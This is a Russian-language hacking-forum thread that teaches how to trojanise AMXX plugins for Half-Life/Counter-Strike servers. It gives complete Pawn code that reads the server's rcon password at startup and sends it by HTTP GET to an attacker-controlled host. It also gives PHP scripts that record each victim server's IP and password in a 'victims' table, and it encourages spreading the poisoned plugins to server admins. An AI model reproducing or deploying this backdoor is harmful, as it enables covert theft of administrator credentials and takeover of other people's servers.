1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Бекдоры В Amxx-Плагинах

Тема в разделе "РАТ| Бэкдоры | РМС | Даунлоадеры", создана пользователем zikker, 10 июл 2012.

  1. TopicStarter Overlay
    zikker

    zikker Гость

    Как эффективно поиметь мудаков-hlds’ников? Если субъект забил на обновления dproto – смело вводите в бой свежие эксплоиты. Старый билд? Юзайте баяны вроде «Born to be pig (..)». Но есть способ банальней и, что характерно, таки более эффективный, от которого фиксы не спасут, поможет только студень в черепной коробке. Последний встречается все реже, что только подтверждает эффективность метода.

    А суть его такова: бекдоры в amxx-плагинах. Что нам это даст? Фактически, все что угодно: возможность получить ркон-пароль, в нужный момент отправить сервер к ебеням, все зависит от вашей фантазии (в данном случае рассмотрим вариант с рконом).

    Как-либо заметить наличие данной заразы, как ни крути, проблематично. Конечно, дизассемблер никто не отменял, но скажите честно, вы часто пропускаете через него плагины, которые собираетесь поставить? В крайнем случае, уверяю – данной херней страдают единицы. //правда, после нашего рейда это стало практиковаться ^^'

    Да, все это круто – впаяли «назад-дверь» в один из дефолтных плагинов amxx, отправили сервер на публику, радостное нубье его растащило. А теперь вопрос: как узнать, где именно лежит заветный «ядовитый» плагин? Планомерно проверять каждый сервер из списка занятие далеко не увлекательное, так что давайте данные (в виде rcon и ip сервера, где наш плагин, собственно, лежит) будут стекаться прямо к нам.

    Самый простой (да и, наверное, единственно возможный) вариант – отправка данных на веб-сервер. Скажем, лежит на нашем хосте пхпшка, которой плагин при запуске сервера отправляет ip-адрес через GET-запрос, а та сохраняет результат в sql-базу. Зачем такой геморрой, ведь amxmodx располагает возможностями работы с SQL-базами? Почему бы не организовать прямое подключение к нашей базе?

    Дело в том, что в таком случае вместе с плагином к жертве отходят и наши логин/пароль от БД. А что тогда? Верно, жертва и злоумышленник меняются местами.

    В целом, схема выходит следующая:

    1) Инициализация плагина при запуске сервера. Отправка GET-запроса нашей пхпшке через сокет.
    2) Пхпшка отправляет запрос базе, определяя, есть ли в базе данный IP-адрес, и если нет – добавляет результаты в таблицу, если есть – обновляет запись.

    К примеру, на нашем веб-сервере лежит backdoor.php со следующим содержанием:

    Код:
    <?php
    $rcon = $_GET['rcon'];
    //функция добавления адресов и паролей в базу
    ?>
    
    Тогда для добавления в базу инфы, нам необходимо отправить следующий GET-запрос:
    Код:
    GET /backdoor.php?rcon=RCON_ПАРОЛЬ HTTP/1.1 /r/n HOST: ourhost.com/r/n
    Теперь о том, как функцию запроса вклеить в исходный плагин.
    Для открытия сокет-соединения с нашим веб-сервером, необходимо подключить библиотеку sockets.
    Код:
    #include <sockets>
    Рекомендую отправление запроса организовать при инициализации плагина (plugin_init()).
    Открытие сокет-соединения осуществляется функцией socket_open()

    Код:
    socket_open (АДРЕС_ВЕБ-СЕРВЕРА, ПОРТ_ВЕБ-СЕРВЕРА, ПРОТОКОЛ, МЕССЕДЖ ОБ ОШИБКЕ)
    Например:

    Код:
    socket = socket_open ("www.ourhost.com", 80, SOCKET_TCP, error)
    Также нам необходимо отвести три переменные в плагине для сокета, запроса и rcon

    Код:
    new socket
    new rcon[129]
    new query[256]
    Ну и для ошибки:
    Код:
    new error
    Записываем в них соответственную инфу:

    Код:
    get_cvar_string("rcon_password", rcon, 12
    format(query, 256, "GET /backdoor.php?rcon=%s HTTP/1.1 ^r^n HOST: ourhost.com^r^n", rcon)
    И отправляем запрос:
    Код:
    socket_send(socket, query, 256)
    Закрываем сокет-соединение:

    Код:
    socket_close(socket)
    В результате наш плагин выглядит следующим образом:

    Код:
    #include <amxmodx>
    #include <sockets>
    
    new socket
    new rcon[129]
    new error
    new query[256]
    
    public plugin_init() {
    register_plugin("1", "2", "3")
    get_cvar_string("rcon_password", rcon, 128)
    format(query, 256, "GET /backdoor.php?rcon=%s HTTP 1.1 ^r^n HOST ourhost.com^r^n", rcon)
    socket = socket_open ("www.ourhost.com", 80, SOCKET_TCP, error)
    socket_send(socket, query, 256)
    socket_close(socket)
    }
    www.ourhost.com и путь к пхпшке меняем на нужные, естессна.
    Содержимое самой .php-шки:

    Код:
    <?php
    $sql['host'] = "localhost";   //SQL-хост
    $sql['user'] = "root";   //SQL-пользователь
    $sql['pass'] = "pass";  //SQL-пароль
    $sql['db'] = "db";   //SQL-база
    $rcon = addslashes($_GET['rcon']);
    mysql_connect($sql['host'], $sql['user'], $sql['pass']);
    mysql_select_db($sql['db']);
    $ip = getenv(REMOTE_ADDR).":".getenv(REMOTE_PORT);
    $q = mysql_query("create table if not exists victims ( `id` int auto_increment, `ip` varchar(25) not null, `rcon` tinytext not null, primary key (`id`))");
    $q = mysql_query("select * from victims where ip={$ip} limit 1");
    if(!$q) die('Oops');
    if(mysql_num_rows($q) == 0) {
    $p = mysql_query("insert into victims (`id`, `ip`, `rcon`) values (0, '{$ip}', '{$rcon}')");
    } else {
    $p = mysql_query("update victims set rcon='{$rcon}' where ip='{$ip}'");
    }
    ?>
    
    Теперь кладем ее в корневую директорию (чтобы путь к ней выглядел как ourhost.com/backdoor.php), компилируем наш плагин, запускаем сервер.. и в базе появляется наш ip и rcon. Драма.

    Как посмотреть результаты рейда? Воспользуйтесь пхпмайадмином или этим скриптом:

    Код:
    <?php
    
    $sql['host'] = 'localhost';   //SQL-хост
    $sql['user'] = 'root';   //SQL-пользователь
    $sql['pass'] = 'pass';  //SQL-пароль
    $sql['db'] = 'db';   //SQL-база
    mysql_connect($sql['host'], $sql['user'], $sql['pass'])
    mysql_select_db($sql['db']);
    $q = mysql_query('select * from victims');
    if(!$q) die('OI PIZDEC :( ');
    ?>
    <table>
    <?php
    while($r = mysql_fetch_array($q, MYSQL_ASSOC)) {
    echo '<tr><td>'.$r[ip].'</td><td>'.$r[rcon].'</td></tr>';
    }
    
    ?>
    </table>
    
    P.S. Чуть позже напишу о том, как обойтись без передачи ркона вовсе ;]
     
    • Like Like x 4
    Метки:
  2. asiman

    asiman

    Регистрация:
    10 май 2012
    Сообщения:
    467
    Симпатии:
    238
    видел раньше похожие 2-3 темы но они ничего толком не обьясняли(
    а за тему спасибо!
     

Поделиться этой страницей

Загрузка...